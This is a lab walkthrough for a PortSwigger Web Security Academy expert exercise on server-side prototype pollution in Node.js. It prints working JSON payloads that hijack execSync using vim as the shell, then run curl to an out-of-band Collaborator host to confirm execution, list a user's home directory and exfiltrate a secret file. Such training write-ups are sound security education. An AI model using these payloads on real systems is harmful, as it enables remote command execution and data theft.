| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Server-Side Prototype Pollution / RCE / Data Exfiltration |
| Difficulty | Expert |
| Objective | Pollute Object.prototype with shell and input to hijack a child_process.execSync call, enumerate Carlos's home directory via Collaborator, read the secret file, and submit it |
Exfiltrating Sensitive Data via Server-Side Prototype Pollution¶
I logged in as wiener:peter — admin privileges already granted:
Testing __proto__ directly with the json spaces gadget — the response came back indented, confirming no filter this time:
The maintenance jobs endpoint triggered db-cleanup and fs-cleanup:
Same two tasks as the previous lab, but the child process here uses child_process.execSync rather than fork. execArgv doesn't apply — a different gadget pair is needed.
child_process.execSync accepts a shell option specifying which binary to use as the shell (default /bin/sh) and an input option providing data to the process's stdin. If these are inherited from a polluted prototype: shell: "vim" makes vim the shell interpreter, and input: ":! <command>\n" sends a vim Ex command via stdin that executes the shell command before vim exits. Combined, this is arbitrary command execution using vim's built-in :! interface — the previous lab used execArgv; here the same effect comes from substituting the shell interpreter itself.
I confirmed the gadget with a Collaborator ping:
{
"__proto__": {
"shell": "vim",
"input": ":! curl jtg0xxkkxfncwu23n5sx1y6u8lec22qr.oastify.com\n"
}
}
Poison → trigger maintenance jobs:
Collaborator received the DNS and HTTP interaction. Command execution confirmed. The poison-then-trigger pattern requires two separate requests every step: update the prototype via the address form, then fire the jobs endpoint.
Enumerating Carlos's home directory — piping through base64 before sending handles newlines and special characters that would break the HTTP request, and curl -d @- reads the POST body from stdin:
{
"__proto__": {
"shell": "vim",
"input": ":! ls /home/carlos/ | base64 | curl -d @- jtg0xxkkxfncwu23n5sx1y6u8lec22qr.oastify.com\n"
}
}
Collaborator delivered the base64-encoded listing — decoded, a file called secret. Reading it:
{
"__proto__": {
"shell": "vim",
"input": ":! cat /home/carlos/secret | base64 | curl -d @- jtg0xxkkxfncwu23n5sx1y6u8lec22qr.oastify.com\n"
}
}
Lab solved and section finished